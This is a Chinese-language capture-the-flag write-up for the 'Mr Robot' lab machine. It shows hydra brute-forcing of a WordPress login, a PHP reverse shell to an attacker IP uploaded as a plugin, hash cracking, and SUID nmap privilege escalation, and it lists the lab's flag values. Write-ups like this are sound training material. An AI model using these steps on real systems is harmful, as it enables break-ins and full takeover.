Skip to content

Latest commit

 

History

History
180 lines (101 loc) · 5.53 KB

File metadata and controls

180 lines (101 loc) · 5.53 KB

Mr Robot CTF

前情提要

這題與 Pickle Rick 那題類似,需要找 3 個 key

key 1

首先拿到 ip 10.10.80.67,並確認機器已上線

ping 10.10.80.67

接著使用 nmap 查看有哪些服務可供利用

nmap -v 10.10.80.67

nmap -v -sV -p- -sC --min-rate 5000 10.10.80.67

可以看到一共掃出了以下三個服務,但是掃不出相關版本

22      ssh
80      http
443     https

可以發現有網頁服務,可以用瀏覽器打開看看,發現是一個酷炫的東西,但是玩了一下發現裡面相關指令對我們沒有任何幫助

而既然這題叫 Mr.Robot,可以推測跟 robots.txt 有關係,從中確實發現了第一把 key,以及一個 fsocity.dic 字典檔

/key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

key 2

首先在前面逛逛網頁的過程中,可以發現輸入了相關指令之後都會跳轉到對應的子路徑中,唯獨 prepare 指令沒有,因此在好奇心之下瀏覽 /prepare 路徑後發現原來這個網頁是 wordpress 搭建的

而後一直在尋找與前面找到的字典檔有關的東東,在嘗試用該字典檔路徑爆破時由於時間花費較長,於是看了一下官方影片確認自己的方向是否正確,發現這邊其實是要用來爆破 wordpress 的登入介面的

首先可以在 wp 的網頁中清楚地發現到有 /wp-login.php 這樣子的一個登入介面

而經過一點嘗試可以發現 wordpress 的驗證上有一點小問題,也就是說會先檢查帳號是否存在後檢查密碼正確性,而當帳號不存在時就會直接跳出 Invalid username 的訊息,因此可以讓攻擊者能夠輕易地用字典檔掃描的方式先確認有哪些帳號存在,而後再分別對於這些確定已存在的帳號嘗試密碼即可,大幅度的降低了嘗試登入的成本

我們可以使用 hydra 工具來爆破帳號密碼,首先是帳號的部分

hydra -L fsocity.dic -p fsocity 10.10.80.67 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"

可以輕易地找到使用者 Elliot

接著是爆破密碼的部分,輸入以下指令

hydra -l Elliot -P fsocity.dic 10.10.80.67 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:incorrect"

發現一直都爆破不出來,會花很久時間,而在官方留言區看到有人也有相關疑問,解決方法是要清理字典檔重複的部分,於是我寫了以下的腳本

with open("fsocity.dic") as fh:
    data = fh.readlines()

dic = set()
for d in data:
    dic.add(d)

with open("fsocity_clean.dic", "w") as fh:
    fh.writelines(dic)

改用清理過的字典檔來跑

hydra -l Elliot -P fsocity_clean.dic 10.10.80.67 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:incorrect"

可以看到還是需要花大概兩個小時左右來跑,於是我只好直接用官方影片中已爆破出的密碼來繼續

password: ER28-0652

成功登入

接著我參考了 hackertrick 的 wordpress RCE 方法,嘗試取得 initial shell

首先先點左側的 Plugins -> Add New

點上方的 Upload Plugin,可以看到需要上傳一個 zip 包的 plugin

因此先生成以下 reverse shell,並壓縮後上傳

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.17.31.45/2023 0>&1'");
?>

接著點左側的 Media -> Library,即可發現剛才上傳的 reverse shell

點進去後即可在右側發現該檔案的路徑

開啟 reverse shell 接收端並訪問路徑後,即可成功獲得 shell

在一陣查找之後,可以在 /home/robot/ 的目錄中發現 key2 的檔案,但是需要 robot 的身分才能查看,所幸該目錄下來有一個 md5 過的 password 資料留存下來

使用 crackstation 進行爆破出密碼為 abcdefghijklmnopqrstuvwxyz

接著因為要變換身分輸入密碼的緣故,需要升級 shell 到 interactive shell,因此需要輸入以下指令進行生成

python -c "import pty; pty.spawn('bash')"

取得 key 2

822c73956184f694993bede3eb39f959

key 3

接著可想而知需要進行提權,這邊我嘗試了 sudo 及 crontab 之後,在嘗試 SUID 時發現了幾個有 suid 的執行檔,以下是查找的指令

find / -type f -perm +6000 -exec ls -al {} + 2>/dev/null | grep /bin

其中的最後一行 nmap 最令人在意,因此查了一下相關的提權方法,發現了這篇文章 (這邊我也有查到 GTFObin 的,但是不知道為什麼弄不出來)

首先輸入 nmap --interactive 進入 nmap 的 interactive mode,並輸入 !sh 生成 sh 的 shell,此時可以發現已獲得 root 的 euid

取得 key 3

04787ddef27c3dee1ee161b21670b4e4

至此,已取得這台機器的完整權限